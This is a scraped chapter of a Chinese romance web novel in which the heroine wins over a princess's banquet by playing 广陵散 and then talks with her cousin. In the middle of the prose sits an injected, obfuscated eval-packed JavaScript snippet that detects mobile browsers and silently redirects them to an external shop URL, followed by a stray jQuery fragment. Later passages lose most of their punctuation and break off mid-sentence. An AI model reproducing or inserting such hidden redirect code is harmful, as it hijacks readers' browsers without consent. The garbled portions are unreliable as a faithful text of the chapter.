文趣网 > 其他小说 > 含梦入罗帐 > 第 12 章 傲骨
    凉亭内。

    长公主和王贵妃及二皇子、谢泠舟,正各有图谋,有说有笑地聊着天。

    谢泠舟向来少言,又和母亲生分,静坐窗前,无形中竖起一道疏离的墙,叫人寻不到拉拢的契机。

    园中忽然传来嬉笑之声,几人中止了谈话,纷纷看向外面。

    长公主唤来外头候着的宫婢,一问才知原是谢氏的表姑娘因不会作诗,一连闷了三杯酒,正被众人奚落。

    二皇子本没什么怜美之心,但看到谢泠舟冷冷望着外头,眼底结满冰霜。

    这冰垛子素来冷情冷性,想来单纯是不满谢氏颜面受损。

    他有意拉拢谢泠舟,欲出去解围卖个顺水人情,却听那姑娘说自己会奏广陵散。

    可那怯弱模样实在难叫人信服。

    二皇子没忍住,闷闷笑出了声,和谢泠舟扫过来的冷淡目光交汇时,觉得当面奚落谢氏表姑娘等同于奚落谢氏,忙敛容正色,“真是人不可貌相。”

    谢泠舟透过卷帘,望向园子里。

    似乎在冷眼旁观,其实不然,他坐的位置离园子最近,园中发生的一切都看得清楚,亦听了个大概。

    早在崔寄梦被王飞雁讥讽成侍婢时,谢泠舟就在想,她会不会哭?

    但这位表妹看似娇怯,却坚强得出乎他意料,宁可闷头喝酒也不求饶。

    只是三杯酒过后,他还是瞧见了她露出来茫然无措的神情。

    像极了被他拎出房门的那只白猫。

    谢泠舟手微屈成拳。

    一直看戏的长公主忽而幽幽叹道:“那丫头真是好看,和阿屿倒是般配。”

    般配?

    谢泠舟眼底蕴起冷笑,他只见到二弟因挂不住面子,避开崔寄梦求助的目光,顶着与她有娃娃亲的名头,却任由她一人面对众世家子弟。

    他倏地感觉亭中憋闷,想出去走一走,思及一举一动皆会落入长公主和王贵妃母子眼中,便稳坐亭中。

    理智告诉他,这不该他管。

    远远的,见崔寄梦坐在琴台前,呆呆看着琴若有所思,却迟迟不动,连亭子里想看热闹的二皇子都叹了口气。

    王贵妃嘱咐他,“皇儿去给谢家表姑娘解解围,别让姑娘家难堪。”

    二皇子刚提步,便

    顿住了。

    一声浑厚琴声传来,像弓上的弦被用力拉紧再松开,无形的涟漪,荡漾开来。

    广陵散开指一段平和从容,令人如立于高山之巅,可随后山巅黑云撺动,隐而不发的情绪在云层之中蠢蠢欲动。

    弹琴的少女原本神色温柔,举止拘谨,但指端一触到琴弦,懵懂迷蒙的眼变得坚定,下颚也不觉绷紧。

    那柔弱的身体里,生出了一截竹子,从拘谨的皮囊下破出,节节拔高,像一截傲骨支撑着纤瘦的身躯,使其傲然孤绝。

    一旦有了傲骨,她美色中的妩媚就会被弱化,就少了些唾手可得的意味,多了些不可随意掌控亵渎的疏离。

    崔寄梦细白葱指飞速有力地挑动琴弦,终于窜动的云层里惊雷乍起,电闪雷鸣,纷披灿烂,戈矛纵横,好不酣畅淋漓!

    骤雨惊雷终有时尽,激昂过后,琴声里带上了怅恨慨然。

    犹如英雄隐匿,将士归田,但即便如此,狼藉的林木、奔腾的江河,依旧在向世人彰显着,方才的风雨何等壮阔。

    园中众人听得入迷,渐渐忘了身处何方,连一曲终了都未察觉到。

    崔寄梦亦是,她许久没有这般酣畅地弹琴,祖母过世后,按旧例,家中女眷只需守百日热孝,但崔氏没有男丁,她不愿祖母死后无人守孝,便依照长子长孙的规矩,为祖母守了三年孝,整整三年,崔府中都没有传出弹琴奏乐之声。

    因而起初她迟疑,是怕太久不碰生疏了,在众人跟前出丑。

    加上教她古琴的师父曾说过,广陵散杀伐之气重,锋芒过盛,而祖母常让她谨言慎行,崔寄梦便鲜少在人前弹奏此曲。

    今日被众人起哄着作诗时,她想起许多少时不愿提及的片段,迫切想找个出口宣泄,又饮了些酒,胆子变大了些。

    然而一曲过后,残存的酒意散去,她看着面前的古琴,开始懊悔。

    世人皆知广陵散的作曲者嵇叔夜不愿与世俗权贵同流合污,她被世家子弟嘲笑过后,竟在长公主宴上奏广陵散。

    会不会不太妥当?

    “这一曲酣畅淋漓,妙极!

    凉亭中一个清朗声音打破余韵,园中子弟听出这是二皇子,如今最得盛宠的皇子,皆附和称赞,与方才的态度截然不同。

    叫

    嚣着让她唱曲的人面色难堪极别扭道:“我就说这位姑娘一直不愿作诗

    王飞雁目光岑寂方才的盛气凌人化作哀伤失落她定定看着谢泠屿可他正凝视着崔寄梦璀璨星眸中是罕见的隐忍克制有火焰在燃烧。

    而后他握紧双拳深深看了崔寄梦一眼疾步走出园子里。

    王飞雁知道他是怕自己忍不住。

    她亦转身离开。

    茅草亭内长公主仍沉浸在琴声里意味未尽轻瞥谢泠舟一眼见儿子一瞬不移目眺着外头目光和那少女之间似有一截从中掰断的藕节扯出绵绵的细丝。

    长公主嘴角轻勾曼声道:“舟儿善抚琴方才又听得那般入神你来说说这小姑娘弹得如何?”

    谢泠舟像被惊醒缓缓将视线从崔寄梦身上收回抿了口茶垂睫淡道:“开指错了两个音其余尚可。”

    后来可有弹错音他并未留意只因心思和目光皆没有放在琴上。

    “看不出来这般柔弱的小姑娘竟能奏出这般酣畅淋漓的曲子!”二皇子尚在回味中指尖在几案上一点一点暗笑这位表弟真是一点也不怜香惜玉。

    若他有个这么美的小表妹便是一个音也没弹对他也会夸她举世无双。

    “对了她父亲是崔将军罢?原是将门之女怪不得。只是可惜了被谢泠屿这小子捷足先登了。”

    言罢解下腰间玉佩要交给宫婢却被王贵妃拦住无奈道:“你一男子便是再赞许随意姑娘家送东西亦是无礼。”

    王贵妃拔下发间一枝鸾凤含珠金步摇交给侍婢“去交给谢家表姑娘就说她的琴奏得极好本宫很喜欢。”

    “也算我一份罢。”长公主随手摘下腕上一个玉镯子

    二皇子含笑望着镯子:“姑母不是说这镯子乃传家至宝将来要赠予儿妇么?”

    长公主明眸流转“不碍事这样的镯子我还有好几个。”

    谢泠舟闻言目光不觉又那道身影上安静乖巧的姿态和梦里跪在他榻上质问为何不让她上榻睡时如出一辙。

    他不自觉弯起唇角但只一瞬若有所思看向镯子眸色渐深。

    继而长指在另一手腕上的佛珠

    上触过,将眼底暗流压下。

    宫婢将镯子和金步摇送去给崔寄梦后,像是一记印章,象征着她被京陵皇亲权贵接纳。众世家子弟再未将“南蛮子,“边陲挂在嘴边,对崔寄梦多了赞许,纷纷改口,称她原是深藏不露云云。

    本来以为她会借机给众人难堪,毕竟当时她弹琴时那孤绝的气势,像被惹怒了,但崔寄梦自奏完琴后,姿态比先前还要谦逊,无论谁搭话都和善回应,给足了众人面子,惹来不少世家子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17901462|212952||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    弟青睐。

    这一日除去早先的意外,算是宾主尽欢,黄昏时分,马车驶离长公主府。

    后来,谢泠屿一直未出现过。

    谢迎鸢对兄长很是气愤,但怕提起此事会让崔寄梦多想,暗暗想着,过后回府定要和父亲参他一本!

    皎梨院和二房隔了大半个谢府,谢迎鸢见采月已候在了前院,便放心与崔寄梦告别,刚迈出步子,就听身后的表妹低低叫了她一声。

    “阿鸢表姐。她的声音很轻,像是小孩子做错了事。

    谢迎鸢这才想起今日自己也对表妹冷下脸,顿生愧疚,回过头看到她小鹿一般的眸子,心一阵软:“欸,怎么了?

    崔寄梦顿了顿,语气诚恳:“今日多谢表姐照拂,我头一回出门,不懂规矩,给表姐添麻烦了,实在过意不去。

    谢迎鸢睇视着她真挚的眸子,想起杯盏第四次停在崔寄梦跟前时,表妹彷徨的眼神,心头蓦地感到酸涩,以及愧疚。

    出门前,母亲再三耳提面命,说这种场合,偶尔晾一晾表妹,必要时再帮忙,她才能更快适应京陵。

    她照做了,后来玩高兴了,甚至把崔寄梦给忘了,不是没发现崔寄梦不在了,只是觉得她也不是小孩子,长公主府侍婢众多,总归不会走丢,不必特地去找。

    后来众人都以为崔寄梦是说了大话,几位贵女还笑说谢家怎会有这样的亲戚,谢迎鸢也气急了,气表妹不该说大话。

    此刻回想,实在不该。

    她放柔了声音:“是我不好,粗枝大叶的不会照顾人,性子也急躁,说来今日表妹一曲广陵散,连殿下和贵妃都赞不绝口,我们还沾了表妹的光呢!

    家中有位严厉的祖母,崔寄梦被指正的时候多过被夸,听到夸赞,双眼微芒浮动,颇受宠若惊。

    谢迎鸢心里更难受了。

    二人道别后崔寄梦携采月一同往皎梨院走谢泠舟走了过来经过她身侧时脚步稍顿漫不经心道:“琴弹得很好不知表妹师从何人?”

    崔寄梦没想着大表兄是在夸自己认真回答他的问题:“教我琴的师父姓赵名疏是桂林郡人士。”

    谢泠舟略一思索“你确定不是姓江?你弹琴的手法和一位故人很像。”

    崔寄梦摇摇头虽好奇但她为人有分寸感并未多问。

    两人沉默了下来崔寄梦不觉又想起那个梦里她面颊倏地热起来只觉得身前一阵发紧“表兄若无事我先回了。”

    “嗯。”谢泠舟侧首望向她禁不住又多嘱咐了一句“下次若有人再为难你不必顾忌太多你是谢家的人京陵绝大多数世家子弟都无需畏惧。”

    崔寄梦心中一暖鬼差神使问了一句“那……得罪不起的要如何是好?”问完她就后悔了“我说笑的表兄别见怪。”

    但谢泠舟认真了轻描淡写道:“若得罪不起可来找我我得罪得起。”

    二人分道扬镳后崔寄梦和采月往回走采月颇为主子高兴:“我就说我们小姐天仙似的又弹得一手好琴准能将京陵的公子小姐们都迷倒!”

    崔寄梦牵动了下嘴唇无言笑笑。

    采月沉浸在喜悦中好一会才察觉她一路上很安静不大像尽兴归来的样子

    崔寄梦摇摇头又走出一小段路后她停了下来沉默半晌。

    “采月姐姐我想祖母了。”

    作者有话要说

    感谢在2023-03-2318:00:00~2023-03-2518:00:00期间为我投出霸王票或灌溉营养液的小天使哦~

    感谢灌溉营养液的小天使:羽之觞1瓶;

    非常感谢大家对我的支持我会继续努力的!